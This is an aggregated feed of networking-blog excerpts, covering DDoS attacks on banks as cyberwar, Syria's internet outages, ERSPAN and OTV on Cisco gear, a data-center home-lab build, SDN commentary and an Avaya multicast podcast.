Again, I’ll leave it to others to debate the semantics of cyberwar. What I do know is that cyberspace is a legitimate battle space. The ongoing attacks against global financial services firms are a great example of how this impacts our business and day-to-day lives. Those attacks have been sustained for over six months, with no end in sight. They are being funded at some level, by someone or some group with very serious motivation that would be difficult to keep going with what we know of traditional hacktivism. We can speculate all day long about who might be behind these attacks but I’d suggest we leave that to others and focus on learning lessons and building better defenses. In this changing geo-political driven environment, understanding the ‘who’ can be near impossible with only digital attribution, but attempting to understand the potential motivation behind attacks can help to better gauge risk to your organization. What has really changed since Estonia? The fact that this type of attack today wouldn’t be nearly as surprising as it was in 2007.

 

 

One of the most pleasant surprises of the recent Interop show was the Tail-f's Network Control System (NCS). I “knew” Carl Moberg (of the NETCONF and YANG fame) for a long time and had the privilege to meet him in person just before the SDN Buyer's Guide panel that I co-hosted with Kurt Marko (who did an excellent job putting the buyer's guide together). Anyhow, what Carl presented during the panel totally blew me away.

Read more ...

Last week, Syria was taken offline, as our ATLAS data showcased very clearly.

Today, Syria is once again in the dark, as highlighted by the following ATLAS data below.

We’re keeping an eye on the situation in Syria and will update this post with new information if and when it becomes available.

*****Updated: as of 1:45pm ET on May 15, 2013 — ATLAS now shows Syria is back online:

A while ago, while listening to an interesting CloudCast podcast (my second favorite podcast - the best one out there is still the Packet Pushers), I stumbled upon an interesting idea “Data has gravity”. The podcast guest used that idea to explain how data agglomerates in larger and larger chunks and how it makes sense to move the data processing (application) closer to the data.

Read more ...

It’s been a while So what gives? Well, I’ve been spending most of my time on the front lines: meeting with customers, breaking the ice, laying out the fundamental case for Network Virtualization, face to face, heart to heart. Just a whiteboard, rolled up sleves, and a room full of intelligent IT converstationalists. This is, [...]

Most readers are probably familiar with the switchport analysis (SPAN) feature on Cisco's Catalyst switches. SPAN replicates all ingress and/or egress traffic from one or several interfaces to another for the purposes of packet capture or traffic monitoring. This is especially helpful when deploying a network-based IDS. Unfortunately, it's often not possible to install the IDS on the same physical switch as the ports from which you want to capture.

Remote SPAN (RSPAN) can be employed to extend a SPAN session between source and destination points on disparate switches, however it requires a layer two path end-to-end. When we need to replicate layer two traffic across a layer three network, we turn to encapsulated remote SPAN (ERSPAN). ERSPAN transports traffic inside a point-to-point GRE tunnel between arbitrary IP endpoints.

For this lab, we'll configure an ERSPAN session from an NX-OS source (a Nexus 7K) to an IOS destination (a Cisco 7600) to provide an example configuration for both platforms. MPLS transport is used between the two switches and routing of the ERSPAN tunnel will take place inside a VRF named Capture.

Continue reading · 6 comments

I was shortly thinking about building a home lab for the data center path, but when i looked at the price list for the nexus 7000 i thought, maybe not. You can get quickly in ranges, where someone would buy a house for that price.

Here is the hardware list for the lab equipment:

From https://learningnetwork.cisco.com/docs/DOC-13968

• Cisco Catalyst Switch 3750
• Cisco 2511 Terminal Server
• MDS 9222i
• Nexus7009
  • (1) Sup
  • (1) 32 Port 10Gb (F1 Module)
  • (1) 32 Port 10Gb (M1 Module)
• Nexus5548
• Nexus2232
• Nexus 1000v
• UCS C200 Series Server
  • vic card for c-series
• UCS-6248 Fabric Interconnects
• UCS-5108 Blade Chassis
  • B200 M2 Blade Servers
  • Palo mezzanine card
  • Emulex mezzanine card
• Cisco Application Control Engine Appliance – ACE4710
• Dual attached JBODs

Altogether that you easily come to more than 100.000$. If you will get as NFR (Not for Resale) you will get a 70% discount from the global price list, but it will still be above 100.000 $.

 

So i redefined my requirements upon that and thought about a data center lab with regard to vmware and microsoft. Many new products also have been virtualized like the Cisco 1000V Router and the ASA Cloud Firewall.  The ASA Cloud Firewall is currently available as a promo and you can quote it freely to get a license for e-delivery.

So after nearly exactly 6 years i decided to upgrade my old T60. So not really upgrade, but exchange it into an W530 from lenovo. It took me quite some time to decide weather to go for apple or a remote solution, but after all, i decided to get real horsepower and a notebook, that i can use with 32GB RAM.

This has been my old one for a long time. Did not had problems with it and it had been very good quality and it lasted very long now. I think six years in IT is like an era. My old setup had about 3 GB RAM max. Now i can use 32 GB at max. The main reason for the W530 was the ability to upgrade to 32 GB RAM and the processor with enough power. And i like the idea to keep the hardware for some time and not to renew it every year or two. Maybe my wife can use my “old” one still for surfing.

Link to my old T60.

Here is my current and new setup:

• Intel Core i7-3740QM Processor (6M Cache, up to 3.70 GHz)
• 15,6-Zoll FHD-Display (1900 x 1080)
• NVIDIA Quadro K2000M Graphics with 2 GB DDR3 RAM
• Colorsensor
• 8 GB PC3-12800 DDR3-RAM (2 DIMMs) (currently)
• Keyboard with backlight
• Samsung Pro SDD 540 GB
• Intel Centrino Ultimate-N 6300 AGN
• Mini-dock

I had to get a win 8 license also, but i have planned to install ubuntu. There should be enough place for vsphere and two esxi. Currently i have “only 8GB” of RAM installed, but after i have tested things a bit, i will update when necessary.

I will follow up with an installation and how things have worked out. Most things should do this out of the box.

There are also plans to integrate an Synology box. Currently i have a DS212 and another one might join the lab. There is only connectivity with iSCSI or NFS / SMB and no fibrechannel, but anyway a start.

 

 

Download as PDF

I contributed 2 pieces to a Network World “digital spotlight” on software defined networking (SDN). SDN’s all the rage with marketing teams & the industry media. I’ve been contracted to write or contribute to a total of 3 large SDN pieces, including this one, over the next few months. And of course at Interop, you couldn’t walk [...]

For the details on what Overlay Transport Virtualization (OTV) is and how it works on a high-level, see my previous blog entry about OTV 101. OTV troubleshooting requires a basic understanding of Multicast, as well as ISIS. In-depth troubleshooting on these subjects are not part of the scope of this document. This document will only [...]

Do you remember the article ‘How to schedule a reload‘? This feature (reload in ‘x’) is useful when you must apply a critical configuration on a remote device, for instance new route or new acl. In fact, if you happen to lose connection to device after a change, you must wait the device reload to reconnect to it. This can be a solution but there is a better solution: the replace/roolback feature. Introduced in 12.3(7)T IOS, the Configuration Replace and Configuration Rollback features provide the capability to replace the current running configuration with any saved Cisco IOS configuration file. This [...]

Short story: Enterasys data center switches have an interesting combination of time-tested routing and bridging features that allow you to build robust data center fabrics and interconnects (including the scenarios where you migrate VMs between them if you really must do so).

I’ll describe these features and how you can use them in a free webinar sponsored by Enterasys (register here). Don’t worry, that won’t make me biased; I still think moving a running VM between data centers makes no sense.

And now for a longer story ;)

Read more ...

For many network engineers, IP multicast routing is evil. Difficult to design, complicated to implement, painful to troubleshoot and challenging to scale, multicast routing is rarely implemented on a given network unless it's absolutely required. Most engineers would just rather not bother until the issue is forced upon them. Blame PIM. Blame RPF checks. Blame redundant rendezvous points. Blame inscrutable mroute tables. Blame whatever you like, but then realize that more and more often, multicast routing is as an actual need for production networks. Take VXLAN - it needs multicast routing, at least when implemented according to the spec. Or Cisco's OTV - in its first iteration, it required multicast routing. And of course, there are lots and lots of applications that require multicast routing so that destinations can receive multicast streams from hops-away sources. Legitimate use cases haven't made multicast routing any less of a pain in the backside to implement, and Avaya has put together an interesting solution to address this concern. With Fabric Connect (Avaya's SPB implementation), deploying multicast routing is a whole lot simpler than what network engineers are used to. Chief Architect for Avaya Networking Paul Unbehagen and Darren Giacomini, Network Architect for Schneider Electric's Pelco division, join the Packet Pushers to talk through how multicast routing over Fabric Connect works. Paul is a big part of the standardization process for SPB - he knows SPB inside and out. Darren is an Avaya customer who uses Fabric Connect to scale massive multicast IP surveillance networks. Yeah, it's an Avaya-sponsored podcast, but it's not simply marketing blah-blah. This is a technical conversation with two people very close to the technology. We keep it nerdy. You'll learn something about multicast routing, and you'll learn something about shortest path bridging. Enjoy. LINKS Show 44 – The Case for Shortest Path Bridging | packetpushers.net Show 136: Avaya – Considerations for Turning Your Network Into an Ethernet Fabric – Sponsored | packetpushers.net Avaya IP Multicast for the Cloud | youtube.com The New World of IP Multicasting | avaya.com

What is OTV? Overlay Transport Virtualization (OTV) is a Cisco-proprietary protocol suite that allows us to extend Layer 2 between datacenters with Layer 3 boundaries in between.  It works by encapsulating the L2 packets into L3 multicast packets and sending them out to all other OTV AED’s (Authoritative Edge Devices, used for loop prevention). The [...]